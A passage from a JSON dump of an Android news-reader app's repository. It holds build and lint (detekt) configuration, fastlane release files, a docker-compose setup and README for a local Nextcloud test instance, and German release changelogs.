In Android Studio - choose \"DatabaseOrmGenerator\" configuration\n- Hit the \"Run\" Button\n\n## Contributors\n\n* [David Luhmer](https://github.com/David-Development) (Maintainer)\n* [Daniel Schaal](https://github.com/schaal)\n* [otrichet](https://github.com/otrichet)\n* [cemrich](https://github.com/cemrich)\n* [Benjamin Stephan](https://github.com/b3nson)\n* [Stefan Niedermann](https://github.com/stefan-niedermann)\n* [Nils Griebner](https://github.com/NilsGriebner)\n* [AnotherDaniel](https://github.com/AnotherDaniel)\n* [Unpublished](https://github.com/Unpublished)\n* [emasty](https://github.com/emasty)\n* [Yaroslav Pronin](https://github.com/proninyaroslav)\n* [Marcus Nilsson](https://github.com/mkanilsson)\n"
  },
  {
    "path": "Screengrabfile",
    "content": "# remove the leading '#' to uncomment lines\n\napp_package_name 'de.luhmer.owncloudnewsreader'\n use_tests_in_packages ['screengrab']\n# use_tests_in_classes ['ScreenshotTest']\n\napp_apk_path 'News-Android-App/build/outputs/apk/News-Android-App-debug-unaligned.apk'\ntests_apk_path 'News-Android-App/build/outputs/apk/News-Android-App-debug-androidTest-unaligned.apk'\n\nlocales ['en-US', 'de-DE', 'fr-FR', 'it-IT']\n\n# clear all previously generated screenshots in your local output directory before creating new ones\nclear_previous_screenshots true\n\n# For more information about all available options run\n#   screengrab --help\n"
  },
  {
    "path": "build.gradle",
    "content": "// Top-level build file where you can add configuration options common to all sub-projects/modules.\n\nbuildscript {\n    ext {\n        kotlin_version = '2.2.10'\n    }\n    repositories {\n        google()\n        mavenCentral()\n        gradlePluginPortal()\n    }\n    dependencies {\n        classpath 'com.android.tools.build:gradle:9.1.0'\n        classpath \"org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version\"\n    }\n}\n\nplugins {\n    id 'org.jetbrains.kotlin.kapt' version '2.2.10' apply false\n    id 'com.google.devtools.ksp' version '2.3.6' apply false\n}\n"
  },
  {
    "path": "config/detekt/detekt.yml",
    "content": "build:\n  maxIssues: 0\n  excludeCorrectable: false\n  weights:\n    # complexity: 2\n    # LongParameterList: 1\n    # style: 1\n    # comments: 1\n\nconfig:\n  validation: true\n  warningsAsErrors: false\n  checkExhaustiveness: false\n  # when writing own rules with new properties, exclude the property path e.g.: 'my_rule_set,.*>.*>[my_property]'\n  excludes: ''\n\nprocessors:\n  active: true\n  exclude:\n    - 'DetektProgressListener'\n  # - 'KtFileCountProcessor'\n  # - 'PackageCountProcessor'\n  # - 'ClassCountProcessor'\n  # - 'FunctionCountProcessor'\n  # - 'PropertyCountProcessor'\n  # - 'ProjectComplexityProcessor'\n  # - 'ProjectCognitiveComplexityProcessor'\n  # - 'ProjectLLOCProcessor'\n  # - 'ProjectCLOCProcessor'\n  # - 'ProjectLOCProcessor'\n  # - 'ProjectSLOCProcessor'\n  # - 'LicenseHeaderLoaderExtension'\n\nconsole-reports:\n  active: true\n  exclude:\n     - 'ProjectStatisticsReport'\n     - 'ComplexityReport'\n     - 'NotificationReport'\n     - 'FindingsReport'\n     - 'FileBasedFindingsReport'\n  #  - 'LiteFindingsReport'\n\noutput-reports:\n  active: true\n  exclude:\n  # - 'TxtOutputReport'\n  # - 'XmlOutputReport'\n  # - 'HtmlOutputReport'\n  # - 'MdOutputReport'\n  # - 'SarifOutputReport'\n\ncomments:\n  active: true\n  AbsentOrWrongFileLicense:\n    active: false\n    licenseTemplateFile: 'license.template'\n    licenseTemplateIsRegex: false\n  CommentOverPrivateFunction:\n    active: false\n  CommentOverPrivateProperty:\n    active: false\n  DeprecatedBlockTag:\n    active: false\n  EndOfSentenceFormat:\n    active: false\n    endOfSentenceFormat: '([.?!][ \\t\\n\\r\\f<])|([.?!:]$)'\n  KDocReferencesNonPublicProperty:\n    active: false\n    excludes: ['**/test/**', '**/androidTest/**', '**/commonTest/**', '**/jvmTest/**', '**/androidUnitTest/**', '**/androidInstrumentedTest/**', '**/jsTest/**', '**/iosTest/**']\n  OutdatedDocumentation:\n    active: false\n    matchTypeParameters: true\n    matchDeclarationsOrder: true\n    allowParamOnConstructorProperties: false\n  UndocumentedPublicClass:\n    active: false\n    excludes: ['**/test/**', '**/androidTest/**', '**/commonTest/**', '**/jvmTest/**', '**/androidUnitTest/**', '**/androidInstrumentedTest/**', '**/jsTest/**', '**/iosTest/**']\n    searchInNestedClass: true\n    searchInInnerClass: true\n    searchInInnerObject: true\n    searchInInnerInterface: true\n    searchInProtectedClass: false\n  UndocumentedPublicFunction:\n    active: false\n    excludes: ['**/test/**', '**/androidTest/**', '**/commonTest/**', '**/jvmTest/**', '**/androidUnitTest/**', '**/androidInstrumentedTest/**', '**/jsTest/**', '**/iosTest/**']\n    searchProtectedFunction: false\n  UndocumentedPublicProperty:\n    active: false\n    excludes: ['**/test/**', '**/androidTest/**', '**/commonTest/**', '**/jvmTest/**', '**/androidUnitTest/**', '**/androidInstrumentedTest/**', '**/jsTest/**', '**/iosTest/**']\n    searchProtectedProperty: false\n\ncomplexity:\n  active: true\n  CognitiveComplexMethod:\n    active: false\n    threshold: 15\n  ComplexCondition:\n    active: true\n    threshold: 4\n  ComplexInterface:\n    active: false\n    threshold: 10\n    includeStaticDeclarations: false\n    includePrivateDeclarations: false\n    ignoreOverloaded: false\n  CyclomaticComplexMethod:\n    active: true\n    threshold: 15\n    ignoreSingleWhenExpression: false\n    ignoreSimpleWhenEntries: false\n    ignoreNestingFunctions: false\n    nestingFunctions:\n      - 'also'\n      - 'apply'\n      - 'forEach'\n      - 'isNotNull'\n      - 'ifNull'\n      - 'let'\n      - 'run'\n      - 'use'\n      - 'with'\n  LabeledExpression:\n    active: false\n    ignoredLabels: []\n  LargeClass:\n    active: true\n    threshold: 600\n  LongMethod:\n    active: true\n    threshold: 60\n  LongParameterList:\n    active: true\n    functionThreshold: 6\n    constructorThreshold: 7\n    ignoreDefaultParameters: false\n    ignoreDataClasses: true\n    ignoreAnnotatedParameter: []\n  MethodOverloading:\n    active: false\n    threshold: 6\n  NamedArguments:\n    active: false\n    threshold: 3\n    ignoreArgumentsMatchingNames: false\n  NestedBlockDepth:\n    active: true\n    threshold: 4\n  NestedScopeFunctions:\n    active: false\n    threshold: 1\n    functions:\n      - 'kotlin.apply'\n      - 'kotlin.run'\n      - 'kotlin.with'\n      - 'kotlin.let'\n      - 'kotlin.also'\n  ReplaceSafeCallChainWithRun:\n    active: false\n  StringLiteralDuplication:\n    active: false\n    excludes: ['**/test/**', '**/androidTest/**', '**/commonTest/**', '**/jvmTest/**', '**/androidUnitTest/**', '**/androidInstrumentedTest/**', '**/jsTest/**', '**/iosTest/**']\n    threshold: 3\n    ignoreAnnotation: true\n    excludeStringsWithLessThan5Characters: true\n    ignoreStringsRegex: '$^'\n  TooManyFunctions:\n    active: true\n    excludes: ['**/test/**', '**/androidTest/**', '**/commonTest/**', '**/jvmTest/**', '**/androidUnitTest/**', '**/androidInstrumentedTest/**', '**/jsTest/**', '**/iosTest/**']\n    thresholdInFiles: 11\n    thresholdInClasses: 11\n    thresholdInInterfaces: 11\n    thresholdInObjects: 11\n    thresholdInEnums: 11\n    ignoreDeprecated: false\n    ignorePrivate: false\n    ignoreOverridden: true\n    ignoreAnnotatedFunctions: []\n\ncoroutines:\n  active: true\n  GlobalCoroutineUsage:\n    active: false\n  InjectDispatcher:\n    active: true\n    dispatcherNames:\n      - 'IO'\n      - 'Default'\n      - 'Unconfined'\n  RedundantSuspendModifier:\n    active: true\n  SleepInsteadOfDelay:\n    active: true\n  SuspendFunSwallowedCancellation:\n    active: false\n  SuspendFunWithCoroutineScopeReceiver:\n    active: false\n  SuspendFunWithFlowReturnType:\n    active: true\n\nempty-blocks:\n  active: true\n  EmptyCatchBlock:\n    active: true\n    allowedExceptionNameRegex: '_|(ignore|expected).*'\n  EmptyClassBlock:\n    active: true\n  EmptyDefaultConstructor:\n    active: true\n  EmptyDoWhileBlock:\n    active: true\n  EmptyElseBlock:\n    active: true\n  EmptyFinallyBlock:\n    active: true\n  EmptyForBlock:\n    active: true\n  EmptyFunctionBlock:\n    active: true\n    ignoreOverridden: false\n  EmptyIfBlock:\n    active: true\n  EmptyInitBlock:\n    active: true\n  EmptyKtFile:\n    active: true\n  EmptySecondaryConstructor:\n    active: true\n  EmptyTryBlock:\n    active: true\n  EmptyWhenBlock:\n    active: true\n  EmptyWhileBlock:\n    active: true\n\nexceptions:\n  active: true\n  ExceptionRaisedInUnexpectedLocation:\n    active: true\n    methodNames:\n      - 'equals'\n      - 'finalize'\n      - 'hashCode'\n      - 'toString'\n  InstanceOfCheckForException:\n    active: true\n    excludes: ['**/test/**', '**/androidTest/**', '**/commonTest/**', '**/jvmTest/**', '**/androidUnitTest/**', '**/androidInstrumentedTest/**', '**/jsTest/**', '**/iosTest/**']\n  NotImplementedDeclaration:\n    active: false\n  ObjectExtendsThrowable:\n    active: false\n  PrintStackTrace:\n    active: true\n  RethrowCaughtException:\n    active: true\n  ReturnFromFinally:\n    active: true\n    ignoreLabeled: false\n  SwallowedException:\n    active: true\n    ignoredExceptionTypes:\n      - 'InterruptedException'\n      - 'MalformedURLException'\n      - 'NumberFormatException'\n      - 'ParseException'\n    allowedExceptionNameRegex: '_|(ignore|expected).*'\n  ThrowingExceptionFromFinally:\n    active: true\n  ThrowingExceptionInMain:\n    active: false\n  ThrowingExceptionsWithoutMessageOrCause:\n    active: true\n    excludes: ['**/test/**', '**/androidTest/**', '**/commonTest/**', '**/jvmTest/**', '**/androidUnitTest/**', '**/androidInstrumentedTest/**', '**/jsTest/**', '**/iosTest/**']\n    exceptions:\n      - 'ArrayIndexOutOfBoundsException'\n      - 'Exception'\n      - 'IllegalArgumentException'\n      - 'IllegalMonitorStateException'\n      - 'IllegalStateException'\n      - 'IndexOutOfBoundsException'\n      - 'NullPointerException'\n      - 'RuntimeException'\n      - 'Throwable'\n  ThrowingNewInstanceOfSameException:\n    active: true\n  TooGenericExceptionCaught:\n    active: true\n    excludes: ['**/test/**', '**/androidTest/**', '**/commonTest/**', '**/jvmTest/**', '**/androidUnitTest/**', '**/androidInstrumentedTest/**', '**/jsTest/**', '**/iosTest/**']\n    exceptionNames:\n      - 'ArrayIndexOutOfBoundsException'\n      - 'Error'\n      - 'Exception'\n      - 'IllegalMonitorStateException'\n      - 'IndexOutOfBoundsException'\n      - 'NullPointerException'\n      - 'RuntimeException'\n      - 'Throwable'\n    allowedExceptionNameRegex: '_|(ignore|expected).*'\n  TooGenericExceptionThrown:\n    active: true\n    exceptionNames:\n      - 'Error'\n      - 'Exception'\n      - 'RuntimeException'\n      - 'Throwable'\n\nnaming:\n  active: true\n  BooleanPropertyNaming:\n    active: false\n    allowedPattern: '^(is|has|are)'\n  ClassNaming:\n    active: true\n    classPattern: '[A-Z][a-zA-Z0-9]*'\n  ConstructorParameterNaming:\n    active: true\n    parameterPattern: '[a-z][A-Za-z0-9]*'\n    privateParameterPattern: '[a-z][A-Za-z0-9]*'\n    excludeClassPattern: '$^'\n  EnumNaming:\n    active: true\n    enumEntryPattern: '[A-Z][_a-zA-Z0-9]*'\n  ForbiddenClassName:\n    active: false\n    forbiddenName: []\n  FunctionMaxLength:\n    active: false\n    maximumFunctionNameLength: 30\n  FunctionMinLength:\n    active: false\n    minimumFunctionNameLength: 3\n  FunctionNaming:\n    active: true\n    excludes: ['**/test/**', '**/androidTest/**', '**/commonTest/**', '**/jvmTest/**', '**/androidUnitTest/**', '**/androidInstrumentedTest/**', '**/jsTest/**', '**/iosTest/**']\n    functionPattern: '[a-z][a-zA-Z0-9]*'\n    excludeClassPattern: '$^'\n  FunctionParameterNaming:\n    active: true\n    parameterPattern: '[a-z][A-Za-z0-9]*'\n    excludeClassPattern: '$^'\n  InvalidPackageDeclaration:\n    active: true\n    rootPackage: ''\n    requireRootInDeclaration: false\n  LambdaParameterNaming:\n    active: false\n    parameterPattern: '[a-z][A-Za-z0-9]*|_'\n  MatchingDeclarationName:\n    active: true\n    mustBeFirst: true\n  MemberNameEqualsClassName:\n    active: true\n    ignoreOverridden: true\n  NoNameShadowing:\n    active: true\n  NonBooleanPropertyPrefixedWithIs:\n    active: false\n  ObjectPropertyNaming:\n    active: true\n    constantPattern: '[A-Za-z][_A-Za-z0-9]*'\n    propertyPattern: '[A-Za-z][_A-Za-z0-9]*'\n    privatePropertyPattern: '(_)?[A-Za-z][_A-Za-z0-9]*'\n  PackageNaming:\n    active: true\n    packagePattern: '[a-z]+(\\.[a-z][A-Za-z0-9]*)*'\n  TopLevelPropertyNaming:\n    active: true\n    constantPattern: '[A-Z][_A-Z0-9]*'\n    propertyPattern: '[A-Za-z][_A-Za-z0-9]*'\n    privatePropertyPattern: '_?[A-Za-z][_A-Za-z0-9]*'\n  VariableMaxLength:\n    active: false\n    maximumVariableNameLength: 64\n  VariableMinLength:\n    active: false\n    minimumVariableNameLength: 1\n  VariableNaming:\n    active: true\n    variablePattern: '[a-z][A-Za-z0-9]*'\n    privateVariablePattern: '(_)?[a-z][A-Za-z0-9]*'\n    excludeClassPattern: '$^'\n\nperformance:\n  active: true\n  ArrayPrimitive:\n    active: true\n  CouldBeSequence:\n    active: false\n    threshold: 3\n  ForEachOnRange:\n    active: true\n    excludes: ['**/test/**', '**/androidTest/**', '**/commonTest/**', '**/jvmTest/**', '**/androidUnitTest/**', '**/androidInstrumentedTest/**', '**/jsTest/**', '**/iosTest/**']\n  SpreadOperator:\n    active: true\n    excludes: ['**/test/**', '**/androidTest/**', '**/commonTest/**', '**/jvmTest/**', '**/androidUnitTest/**', '**/androidInstrumentedTest/**', '**/jsTest/**', '**/iosTest/**']\n  UnnecessaryPartOfBinaryExpression:\n    active: false\n  UnnecessaryTemporaryInstantiation:\n    active: true\n\npotential-bugs:\n  active: true\n  AvoidReferentialEquality:\n    active: true\n    forbiddenTypePatterns:\n      - 'kotlin.String'\n  CastNullableToNonNullableType:\n    active: false\n  CastToNullableType:\n    active: false\n  Deprecation:\n    active: false\n  DontDowncastCollectionTypes:\n    active: false\n  DoubleMutabilityForCollection:\n    active: true\n    mutableTypes:\n      - 'kotlin.collections.MutableList'\n      - 'kotlin.collections.MutableMap'\n      - 'kotlin.collections.MutableSet'\n      - 'java.util.ArrayList'\n      - 'java.util.LinkedHashSet'\n      - 'java.util.HashSet'\n      - 'java.util.LinkedHashMap'\n      - 'java.util.HashMap'\n  ElseCaseInsteadOfExhaustiveWhen:\n    active: false\n    ignoredSubjectTypes: []\n  EqualsAlwaysReturnsTrueOrFalse:\n    active: true\n  EqualsWithHashCodeExist:\n    active: true\n  ExitOutsideMain:\n    active: false\n  ExplicitGarbageCollectionCall:\n    active: true\n  HasPlatformType:\n    active: true\n  IgnoredReturnValue:\n    active: true\n    restrictToConfig: true\n    returnValueAnnotations:\n      - 'CheckResult'\n      - '*.CheckResult'\n      - 'CheckReturnValue'\n      - '*.CheckReturnValue'\n    ignoreReturnValueAnnotations:\n      - 'CanIgnoreReturnValue'\n      - '*.CanIgnoreReturnValue'\n    returnValueTypes:\n      - 'kotlin.sequences.Sequence'\n      - 'kotlinx.coroutines.flow.*Flow'\n      - 'java.util.stream.*Stream'\n    ignoreFunctionCall: []\n  ImplicitDefaultLocale:\n    active: true\n  ImplicitUnitReturnType:\n    active: false\n    allowExplicitReturnType: true\n  InvalidRange:\n    active: true\n  IteratorHasNextCallsNextMethod:\n    active: true\n  IteratorNotThrowingNoSuchElementException:\n    active: true\n  LateinitUsage:\n    active: false\n    excludes: ['**/test/**', '**/androidTest/**', '**/commonTest/**', '**/jvmTest/**', '**/androidUnitTest/**', '**/androidInstrumentedTest/**', '**/jsTest/**', '**/iosTest/**']\n    ignoreOnClassesPattern: ''\n  MapGetWithNotNullAssertionOperator:\n    active: true\n  MissingPackageDeclaration:\n    active: false\n    excludes: ['**/*.kts']\n  NullCheckOnMutableProperty:\n    active: false\n  NullableToStringCall:\n    active: false\n  PropertyUsedBeforeDeclaration:\n    active: false\n  UnconditionalJumpStatementInLoop:\n    active: false\n  UnnecessaryNotNullCheck:\n    active: false\n  UnnecessaryNotNullOperator:\n    active: true\n  UnnecessarySafeCall:\n    active: true\n  UnreachableCatchBlock:\n    active: true\n  UnreachableCode:\n    active: true\n  UnsafeCallOnNullableType:\n    active: true\n    excludes: ['**/test/**', '**/androidTest/**', '**/commonTest/**', '**/jvmTest/**', '**/androidUnitTest/**', '**/androidInstrumentedTest/**', '**/jsTest/**', '**/iosTest/**']\n  UnsafeCast:\n    active: true\n  UnusedUnaryOperator:\n    active: true\n  UselessPostfixExpression:\n    active: true\n  WrongEqualsTypeParameter:\n    active: true\n\nstyle:\n  active: true\n  AlsoCouldBeApply:\n    active: false\n  BracesOnIfStatements:\n    active: false\n    singleLine: 'never'\n    multiLine: 'always'\n  BracesOnWhenStatements:\n    active: false\n    singleLine: 'necessary'\n    multiLine: 'consistent'\n  CanBeNonNullable:\n    active: false\n  CascadingCallWrapping:\n    active: false\n    includeElvis: true\n  ClassOrdering:\n    active: false\n  CollapsibleIfStatements:\n    active: false\n  DataClassContainsFunctions:\n    active: false\n    conversionFunctionPrefix:\n      - 'to'\n    allowOperators: false\n  DataClassShouldBeImmutable:\n    active: false\n  DestructuringDeclarationWithTooManyEntries:\n    active: true\n    maxDestructuringEntries: 3\n  DoubleNegativeLambda:\n    active: false\n    negativeFunctions:\n      - reason: 'Use `takeIf` instead.'\n        value: 'takeUnless'\n      - reason: 'Use `all` instead.'\n        value: 'none'\n    negativeFunctionNameParts:\n      - 'not'\n      - 'non'\n  EqualsNullCall:\n    active: true\n  EqualsOnSignatureLine:\n    active: false\n  ExplicitCollectionElementAccessMethod:\n    active: false\n  ExplicitItLambdaParameter:\n    active: true\n  ExpressionBodySyntax:\n    active: false\n    includeLineWrapping: false\n  ForbiddenAnnotation:\n    active: false\n    annotations:\n      - reason: 'it is a java annotation. Use `Suppress` instead.'\n        value: 'java.lang.SuppressWarnings'\n      - reason: 'it is a java annotation. Use `kotlin.Deprecated` instead.'\n        value: 'java.lang.Deprecated'\n      - reason: 'it is a java annotation. Use `kotlin.annotation.MustBeDocumented` instead.'\n        value: 'java.lang.annotation.Documented'\n      - reason: 'it is a java annotation. Use `kotlin.annotation.Target` instead.'\n        value: 'java.lang.annotation.Target'\n      - reason: 'it is a java annotation. Use `kotlin.annotation.Retention` instead.'\n        value: 'java.lang.annotation.Retention'\n      - reason: 'it is a java annotation. Use `kotlin.annotation.Repeatable` instead.'\n        value: 'java.lang.annotation.Repeatable'\n      - reason: 'Kotlin does not support @Inherited annotation, see https://youtrack.jetbrains.com/issue/KT-22265'\n        value: 'java.lang.annotation.Inherited'\n  ForbiddenComment:\n    active: true\n    comments:\n      - reason: 'Forbidden FIXME todo marker in comment, please fix the problem.'\n        value: 'FIXME:'\n      - reason: 'Forbidden STOPSHIP todo marker in comment, please address the problem before shipping the code.'\n        value: 'STOPSHIP:'\n      - reason: 'Forbidden TODO todo marker in comment, please do the changes.'\n        value: 'TODO:'\n    allowedPatterns: ''\n  ForbiddenImport:\n    active: false\n    imports: []\n    forbiddenPatterns: ''\n  ForbiddenMethodCall:\n    active: false\n    methods:\n      - reason: 'print does not allow you to configure the output stream. Use a logger instead.'\n        value: 'kotlin.io.print'\n      - reason: 'println does not allow you to configure the output stream. Use a logger instead.'\n        value: 'kotlin.io.println'\n  ForbiddenSuppress:\n    active: false\n    rules: []\n  ForbiddenVoid:\n    active: true\n    ignoreOverridden: false\n    ignoreUsageInGenerics: false\n  FunctionOnlyReturningConstant:\n    active: true\n    ignoreOverridableFunction: true\n    ignoreActualFunction: true\n    excludedFunctions: []\n  LoopWithTooManyJumpStatements:\n    active: true\n    maxJumpCount: 1\n  MagicNumber:\n    active: true\n    excludes: ['**/test/**', '**/androidTest/**', '**/commonTest/**', '**/jvmTest/**', '**/androidUnitTest/**', '**/androidInstrumentedTest/**', '**/jsTest/**', '**/iosTest/**', '**/*.kts']\n    ignoreNumbers:\n      - '-1'\n      - '0'\n      - '1'\n      - '2'\n    ignoreHashCodeFunction: true\n    ignorePropertyDeclaration: false\n    ignoreLocalVariableDeclaration: false\n    ignoreConstantDeclaration: true\n    ignoreCompanionObjectPropertyDeclaration: true\n    ignoreAnnotation: false\n    ignoreNamedArgument: true\n    ignoreEnums: false\n    ignoreRanges: false\n    ignoreExtensionFunctions: true\n  MandatoryBracesLoops:\n    active: false\n  MaxChainedCallsOnSameLine:\n    active: false\n    maxChainedCalls: 5\n  MaxLineLength:\n    active: true\n    maxLineLength: 120\n    excludePackageStatements: true\n    excludeImportStatements: true\n    excludeCommentStatements: false\n    excludeRawStrings: true\n  MayBeConst:\n    active: true\n  ModifierOrder:\n    active: true\n  MultilineLambdaItParameter:\n    active: false\n  MultilineRawStringIndentation:\n    active: false\n    indentSize: 4\n    trimmingMethods:\n      - 'trimIndent'\n      - 'trimMargin'\n  NestedClassesVisibility:\n    active: true\n  NewLineAtEndOfFile:\n    active: true\n  NoTabs:\n    active: false\n  NullableBooleanCheck:\n    active: false\n  ObjectLiteralToLambda:\n    active: true\n  OptionalAbstractKeyword:\n    active: true\n  OptionalUnit:\n    active: false\n  PreferToOverPairSyntax:\n    active: false\n  ProtectedMemberInFinalClass:\n    active: true\n  RedundantExplicitType:\n    active: false\n  RedundantHigherOrderMapUsage:\n    active: true\n  RedundantVisibilityModifierRule:\n    active: false\n  ReturnCount:\n    active: true\n    max: 2\n    excludedFunctions:\n      - 'equals'\n    excludeLabeled: false\n    excludeReturnFromLambda: true\n    excludeGuardClauses: false\n  SafeCast:\n    active: true\n  SerialVersionUIDInSerializableClass:\n    active: true\n  SpacingBetweenPackageAndImports:\n    active: false\n  StringShouldBeRawString:\n    active: false\n    maxEscapedCharacterCount: 2\n    ignoredCharacters: []\n  ThrowsCount:\n    active: true\n    max: 2\n    excludeGuardClauses: false\n  TrailingWhitespace:\n    active: false\n  TrimMultilineRawString:\n    active: false\n    trimmingMethods:\n      - 'trimIndent'\n      - 'trimMargin'\n  UnderscoresInNumericLiterals:\n    active: false\n    acceptableLength: 4\n    allowNonStandardGrouping: false\n  UnnecessaryAbstractClass:\n    active: true\n  UnnecessaryAnnotationUseSiteTarget:\n    active: false\n  UnnecessaryApply:\n    active: true\n  UnnecessaryBackticks:\n    active: false\n  UnnecessaryBracesAroundTrailingLambda:\n    active: false\n  UnnecessaryFilter:\n    active: true\n  UnnecessaryInheritance:\n    active: true\n  UnnecessaryInnerClass:\n    active: false\n  UnnecessaryLet:\n    active: false\n  UnnecessaryParentheses:\n    active: false\n    allowForUnclearPrecedence: false\n  UntilInsteadOfRangeTo:\n    active: false\n  UnusedImports:\n    active: false\n  UnusedParameter:\n    active: true\n    allowedNames: 'ignored|expected'\n  UnusedPrivateClass:\n    active: true\n  UnusedPrivateMember:\n    active: true\n    allowedNames: ''\n  UnusedPrivateProperty:\n    active: true\n    allowedNames: '_|ignored|expected|serialVersionUID'\n  UseAnyOrNoneInsteadOfFind:\n    active: true\n  UseArrayLiteralsInAnnotations:\n    active: true\n  UseCheckNotNull:\n    active: true\n  UseCheckOrError:\n    active: true\n  UseDataClass:\n    active: false\n    allowVars: false\n  UseEmptyCounterpart:\n    active: false\n  UseIfEmptyOrIfBlank:\n    active: false\n  UseIfInsteadOfWhen:\n    active: false\n    ignoreWhenContainingVariableDeclaration: false\n  UseIsNullOrEmpty:\n    active: true\n  UseLet:\n    active: false\n  UseOrEmpty:\n    active: true\n  UseRequire:\n    active: true\n  UseRequireNotNull:\n    active: true\n  UseSumOfInsteadOfFlatMapSize:\n    active: false\n  UselessCallOnNotNull:\n    active: true\n  UtilityClassWithPublicConstructor:\n    active: true\n  VarCouldBeVal:\n    active: true\n    ignoreLateinitVar: false\n  WildcardImport:\n    active: true\n    excludeImports:\n      - 'java.util.*'\n"
  },
  {
    "path": "docker-nextcloud-test-instances/.gitignore",
    "content": "/nextcloud-data/*\n"
  },
  {
    "path": "docker-nextcloud-test-instances/README.md",
    "content": "Start image with:\n\n1. Start Container (`docker-compose up`)\n2. Wait until setup is complete\n3. Add IP as trusted domain (`nano nextcloud-data/config/config.php`)\n  ```\n  'trusted_domains' =>\n    array (\n      0 => 'localhost',\n      1 => '*',\n    ),\n  ```\n4. Open Nextcloud in Browser (e.g. http://192.168.1.100)\n5. Setup News App\n6. Add Nextcloud Account to your phone (in the nextcloud files app)\n7. Use SSO in Nextcloud News App to access test instance\n\n\n# Debug requests\n\n```bash\ncurl -u admin http://localhost/index.php/apps/news/api/v1-2/items\ncurl -u admin http://localhost/index.php/apps/news/api/v1-2/items/updated?lastModified=1636295405&type=3&id=0 | jq '. | length'\n```\n"
  },
  {
    "path": "docker-nextcloud-test-instances/docker-compose.yaml",
    "content": "version: '3'\n\nservices:\n  app:\n    # https://hub.docker.com/_/nextcloud/tags\n    image: nextcloud:31.0.9-apache\n    volumes:\n      - ./nextcloud-data/:/var/www/html\n    #restart: no\n    environment:\n      - SQLITE_DATABASE=testdatabase.sqlite\n      - NEXTCLOUD_ADMIN_USER=admin\n      - NEXTCLOUD_ADMIN_PASSWORD=admin123\n    ports:\n      - \"80:80\"\n    # - \"443:443\"\n"
  },
  {
    "path": "executeScreengrab.sh",
    "content": "# export PATH=$PATH:/Users/dluhmer/Library/Android/sdk/platform-tools/\n./gradlew assembleDebug assembleAndroidTest\nscreengrab\n"
  },
  {
    "path": "fastlane/Fastfile",
    "content": "# This file contains the fastlane.tools configuration\n# You can find the documentation at https://docs.fastlane.tools\n#\n# For a list of all available actions, check out\n#\n#     https://docs.fastlane.tools/actions\n#\n# For a list of all available plugins, check out\n#\n#     https://docs.fastlane.tools/plugins/available-plugins\n#\n\n# Uncomment the line if you want fastlane to automatically update itself\n# update_fastlane\n\ndefault_platform(:android)\n\nplatform :android do\n  desc \"Runs all the tests\"\n  lane :test do\n    gradle(task: \"test\")\n  end\n\n  desc \"Submit a new Beta Build to Google Play\"\n  lane :beta do\n    gradle(\n      task: \"clean assemble\",\n      flavor: \"oss\",\n      build_type: \"Release\",\n      properties: {\n          \"android.injected.signing.store.file\" => \"\",\n          \"android.injected.signing.store.password\" => \"\",\n          \"android.injected.signing.key.alias\" => \"\",\n          \"android.injected.signing.key.password\" => \"\",\n      }\n    )\n    upload_to_play_store(\n        track: 'beta',\n        release_status: 'draft',\n        mapping: './News-Android-App/build/outputs/mapping/ossRelease/mapping.txt'\n    )\n  end\n\n  #desc \"Deploy a new version to the Google Play\"\n  #lane :deploy do\n  #  gradle(task: \"clean assembleRelease\")\n  #  upload_to_play_store\n  #end\nend\n"
  },
  {
    "path": "fastlane/README.md",
    "content": "fastlane documentation\n----\n\n# Installation\n\nMake sure you have the latest version of the Xcode command line tools installed:\n\n```sh\nxcode-select --install\n```\n\nFor _fastlane_ installation instructions, see [Installing _fastlane_](https://docs.fastlane.tools/#installing-fastlane)\n\n# Available Actions\n\n## Android\n\n### android test\n\n```sh\n[bundle exec] fastlane android test\n```\n\nRuns all the tests\n\n### android beta\n\n```sh\n[bundle exec] fastlane android beta\n```\n\nSubmit a new Beta Build to Google Play\n\n----\n\nThis README.md is auto-generated and will be re-generated every time [_fastlane_](https://fastlane.tools) is run.\n\nMore information about _fastlane_ can be found on [fastlane.tools](https://fastlane.tools).\n\nThe documentation of _fastlane_ can be found on [docs.fastlane.tools](https://docs.fastlane.tools).\n"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/166.txt",
    "content": "- Added - #1002 support for more granular notification settings\n- Changed - added file extension to downloaded/exported images\n- Changed - allow clicks on notification after an image has been saved/downloaded from detail view\n- Fixed - #1018 Item state sync is not working correctly when many items have been changed\n- Fix security issue GHSL-2021-1033 (Thanks to GitHub Security Lab - with special thanks to Tony Torralba and Kevin Backhouse)"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/167.txt",
    "content": "- Fixed - #1006 Refactor and fix sync issues\n- Changed - Improve OPML import dialog\n- Changed - Increase the soft limit of articles in the app from 1500 to 5000 articles"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/168.txt",
    "content": "- Fixed - Fix broken sync due to incompatibility between latest nextcloud files app and Single Sign On Library\n"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/170.txt",
    "content": "- Fixed - #1044 Colors/Theme sometimes not applied\n- Fixed - #1042 Relative image links/URLs don't open correctly\n- Fixed - #1039 SSO not working with Beta Version of Files App"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/171.txt",
    "content": "- Fixed - #1012 Loadingbar is visible even though page is done loading\n- Fixed - #1029 Unread list does not actualize after manual update (Only when using legacy login)\n- Fixed - #1046 \"No notification\" setting still generates notifications in separate notification channel\n- Fixed - Fix missing images if webview has been restored (e.g. after app has been in background)\n- Fixed - News App is broken after restoring it from a backup (when using SSO)"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/172.txt",
    "content": "- Fixed - #1055 App crashes during sync (OutOfMemory Error)"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/173.txt",
    "content": "- Fixed - Try to fix more app crashes during sync (reduce number of items per sync)\n- Fixed - Speedup detail view by not storing instance state of webview\n"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/174.txt",
    "content": "- Fixed - Try to fix more app crashes during sync (reduce number of items per sync)\n- Fixed - Speedup detail view by not storing instance state of webview\n- Changed - Always show incognito mode icon if incognito mode is enabled"
  },
  {
    "path": "fastlane/metadata/android/de-DE/changelogs/175.txt",
    "content": "Added - !1066 Support for Folder Management (Rename, Remove, Create) (thanks @proninyaroslav)\nFixed - #1075 Feed name update not updating in RSS items (thanks @proninyaroslav)\nFixed - #1064 Add button to exit audio/podcast player once it's open\nFixed - #1048 Fix broken podcast time scrolling\nFixed - #1053 Podcast player disappears after rotating device"
  },
  {
